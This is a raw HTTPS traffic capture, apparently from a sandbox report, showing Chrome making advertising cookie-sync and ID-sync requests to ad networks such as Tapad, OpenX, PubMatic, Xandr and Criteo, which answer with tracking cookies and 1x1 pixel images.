2024-01-10 23:27:29 UTC	552	OUT	GET /idsync/ex/receive?partner_id=3203&partner_device_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1704929237034; TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251; TapAd_3WAY_SYNCS=1!263
2024-01-10 23:27:29 UTC	1100	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1704929237034;Expires=Sun, 10 Mar 2024 23:27:29 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251;Expires=Sun, 10 Mar 2024 23:27:29 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=1!263;Expires=Sun, 10 Mar 2024 23:27:29 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:29 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
684	192.168.2.4	50530	35.244.159.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	480	OUT	GET /w/1.0/sd?id=540245193&val=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237
2024-01-10 23:27:29 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
685	192.168.2.4	50522	44.219.58.122	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	588	OUT	GET /insync?gdpr=0&gdpr_consent=&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&vxii_pid=12&vxii_pid1=10067&vxii_rcid=71a4da1a-bb78-4555-8d0d-3c1aa9d7970e HTTP/1.1 Host: thrtle.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mc=eyJpZCI6IjcxYTRkYTFhLWJiNzgtNDU1NS04ZDBkLTNjMWFhOWQ3OTcwZSIsImwiOjE3MDQ5MjkyNDUxMzgsInQiOjJ9
2024-01-10 23:27:29 UTC	353	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close P3p: CP="NOI OUR BUS UNI COM NAV" Set-Cookie: mc=eyJpZCI6IjcxYTRkYTFhLWJiNzgtNDU1NS04ZDBkLTNjMWFhOWQ3OTcwZSIsImwiOjE3MDQ5MjkyNDk2ODEsInQiOjJ9; Path=/; Domain=thrtle.com; Expires=Sun, 28 Jul 2024 23:27:29 GMT; Secure; SameSite=None
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
686	192.168.2.4	50528	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	1309	OUT	GET /cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&gdpr=0&ovsid=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8&dpid=57926 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63; data-mag=LR8EUG12-1F-5JG4~~63
2024-01-10 23:27:29 UTC	687	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63;Expires=Sat, 24 Feb 2024 23:27:29 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:29 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:29 GMT Connection: close
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:29 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
687	192.168.2.4	50521	44.219.58.122	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	528	OUT	GET /insync?vxii_pid=10067&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: thrtle.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mc=eyJpZCI6IjcxYTRkYTFhLWJiNzgtNDU1NS04ZDBkLTNjMWFhOWQ3OTcwZSIsImwiOjE3MDQ5MjkyNDUxMzgsInQiOjJ9
2024-01-10 23:27:29 UTC	353	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close P3p: CP="NOI OUR BUS UNI COM NAV" Set-Cookie: mc=eyJpZCI6IjcxYTRkYTFhLWJiNzgtNDU1NS04ZDBkLTNjMWFhOWQ3OTcwZSIsImwiOjE3MDQ5MjkyNDk3MTIsInQiOjN9; Path=/; Domain=thrtle.com; Expires=Sun, 28 Jul 2024 23:27:29 GMT; Secure; SameSite=None
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
688	192.168.2.4	50531	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	1117	OUT	GET /cksync.php?cs=1&type=bs&ovsid=f6435827-796b-4521-81e9-11e581628f69&gdpr=0&gdpr_consent=&gdpr_pd= HTTP/1.1 Host: contextual.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8; data-pba=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~8; data-bs=f6435827-796b-4521-81e9-11e581628f69~~1
2024-01-10 23:27:30 UTC	645	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-bs=f6435827-796b-4521-81e9-11e581628f69~~1;Expires=Wed, 08 Jan 2025 23:27:29 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:30 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:30 GMT Connection: close
2024-01-10 23:27:30 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:30 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
689	192.168.2.4	50532	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	3773	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTQ2MSZ0bD0xMDA4MA==&piggybackCookie=AAAHeHO4ZcfjXANgwiqRAAAAAAA&expiration=1705015646&nuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; SPugT=1704929248; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; PugT=1704929248
2024-01-10 23:27:29 UTC	708	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:28 GMT; path=/ Set-Cookie: PugT=1704929248; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:28 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:29 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
690	192.168.2.4	50527	52.72.126.126	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	501	OUT	GET /sync/v1?source_id=UiRtTsXAfjmfSDAKnR1FjWsu&source_user_id=LR8EUG12-1F-5JG4&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: match.sharethrough.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: stx_user_id=316bb570-8374-4683-a0e9-a8b41619214a
2024-01-10 23:27:29 UTC	320	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/png Content-Length: 68 Connection: close Set-Cookie: stx_user_id=316bb570-8374-4683-a0e9-a8b41619214a; Max-Age=2592000; Expires=Fri, 09 Feb 2024 23:27:29 GMT; Path=/; Domain=.sharethrough.com; Secure; SameSite=None Cache-Control: no-cache
2024-01-10 23:27:29 UTC	68	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0b 49 44 41 54 78 da 63 f8 ff 1f 00 03 00 01 ff 6f 81 ab b6 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRIDATxcoIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
691	192.168.2.4	50534	18.160.10.49	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	482	OUT	GET /syncMe?partnerDomain=mrtnsvr.com&idType=cookie&partnerUserId=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: synchroscript.deliveryengine.adswizz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:29 UTC	312	IN	HTTP/1.1 200 OK Server: CloudFront Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Length: 0 Connection: close X-Cache: Error from cloudfront Via: 1.1 06c1d28e93bdae8f6401a12c10b2f570.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD12-P3 X-Amz-Cf-Id: 8VJmAA7UXfnk94z02CKjXoUpgxLwR_vmwRPDA6gm4GFgZtbnbnQLZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
692	192.168.2.4	50526	68.67.160.75	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	711	OUT	GET /prebid/setuid?bidder=rubicon&uid=LR8EUG12-1F-5JG4&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid2=7367141199740274687; anj=dTM7k!M4/YCxrEQF']wIg2GU$wr1(w!]tbP6j2F-.aDabByFnKcfM7C5>YM2<Gz6dkD<##:/`Q28EWrxqF1`b^uw(]na#; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxSOEVVRzEyLTFGLTVKRzQiLCJleHBpcmVzIjoiMjAyNC0wNC0wOVQyMzoyNzoyNVoifX0sImJpcnRoZGF5IjoiMjAyNC0wMS0xMFQyMzoyNzoyNVoifQ==
2024-01-10 23:27:29 UTC	1580	IN	HTTP/1.1 200 OK Server: nginx/1.21.3 Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Set-Cookie: XANDR_PANID=yLAUS_6Cy8LMEmag3LKeUkk9guF0WY8wH8oh2qwOvtRscBMMDsyR6LqKXIFIkycwYtSAubhWvMf1EadcWfR9Htgnx8sFAM_ursCyJ8_qE3U.; SameSite=None; Path=/; Max-Age=314496000; Domain=.adnxs.com; Secure; Partitioned AN-X-Request-Uuid: 7e3a4d7b-fb5f-4501-a6e1-ab7d2fad7a04 Set-Cookie: anj=dTM7k!M4/YCxrEQF']wIg2GU$wr1(w!]tbx8bhzs#DNAqPYwUbU`mpsOpr]!XtqPSW%(e[b<ABDt:/Bv<QGn8@'s>T12SYV; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 09-Apr-2024 23:27:29 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxSOEVVRzEyLTFGLTVKRzQiLCJleHBpcmVzIjoiMjAyNC0wNC0wOVQyMzoyNzoyOVoifX0sImJpcnRoZGF5IjoiMjAyNC0wMS0xMFQyMzoyNzoyNVoifQ==; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 09-Apr-2024 23:27:29 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: uuid2=7367141199740274687; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 09-Apr-2024 23:27:29 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.42; 102.165.48.42; 673.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
693	192.168.2.4	50537	74.119.119.150	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	755	OUT	GET /dis/usersync.aspx?r=77&p=311&cp=liveintent&cu=1&url=https://i.liadm.com/s/28292?bidder_id%3D71340%26bidder_uuid%3D@@CRITEO_USERID@@ HTTP/1.1 Host: dis.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=94a96463-4da4-468a-ab35-7f2fcadb375f
2024-01-10 23:27:29 UTC	519	IN	HTTP/1.1 302 Found content-length: 0 date: Wed, 10 Jan 2024 23:27:29 GMT server: Kestrel cache-control: no-cache expires: Wed, 10 Jan 2024 00:00:00 GMT location: https://i.liadm.com/s/28292?bidder_id=71340&bidder_uuid=k-zYEETO1oxBdmU1nhVf4H-RCrhtry-NA8wpvQXw pragma: no-cache x-errorlevel: 0 p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" cross-origin-resource-policy: cross-origin server-processing-duration-in-ticks: 1158558 strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
694	192.168.2.4	50533	69.194.240.13	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

